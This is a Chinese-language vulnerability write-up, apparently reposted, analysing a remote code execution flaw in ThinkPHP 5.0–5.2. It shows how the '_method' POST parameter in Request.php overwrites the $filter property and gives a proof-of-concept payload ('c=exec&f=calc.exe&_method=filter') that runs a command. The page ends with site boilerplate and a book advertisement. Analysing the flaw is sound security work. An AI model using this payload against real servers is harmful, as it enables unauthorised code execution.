内容简介:最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在文件位置:\thinkphp\library\think\Request.php其中:
序言
最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在 生产环境下 下同样也存在代码执行
漏洞分析:
文件位置:\thinkphp\library\think\Request.php
/** * 当前的请求类型 * @access public * @param bool $origin 是否获取原始请求类型 * @return string */ public function method($origin = false) { if ($origin) { // 获取原始请求类型 return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[$this->config['var_method']])) { $this->method = strtoupper($_POST[$this->config['var_method']]); $method = strtolower($this->method); $this->{$method} = $_POST; } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) { $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; }
其中:
$this->method = strtoupper($_POST[$this->config['var_method']]); $method = strtolower($this->method); $this->{$method} = $_POST;
$method变量是$this->method,其同等于POST的”_method”参数值
然后该处存在一个变量覆盖
我们可以覆盖 $filter 属性值(POC如下)
c=exec&f=calc.exe&&_method=filter&
访问如下图所示:
会爆出一个警告级别的异常,导致程序终止
如何触发:
如果设置忽略异常提示,如下图:
本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置
Payload(POST请求):
弹出计算器
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 代码版本管理--不同版本,相同代码的解决方案猜想
- Thinkphp5.1 ~ 5.2 全版本代码执行漏洞代码审计
- 大型分布式团队的代码版本管理
- 大型分布式团队的代码版本管理
- MRoot 2.1 发布,代码重构优化版本
- 代码演示C#各版本新功能
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python基础教程(第2版)
Magnus Lie Hetland / 司维、曾军崴、谭颖华 / 人民邮电出版社 / 2010-7 / 69.00元
本书是经典教程的全新改版,作者根据Python 3.0版本的种种变化,全面改写了书中内容,做到既能“瞻前”也能“顾后”。本书层次鲜明、结构严谨、内容翔实,特别是在最后几章,作者将前面讲述的内容应用到了10个引人入胜的项目中,并以模板的形式介绍了项目的开发过程。本书既适合初学者夯实基础,又能帮助Python程序员提升技能,即使是 Python方面的技术专家,也能从书里找到令你耳目一新的东西。一起来看看 《Python基础教程(第2版)》 这本书的介绍吧!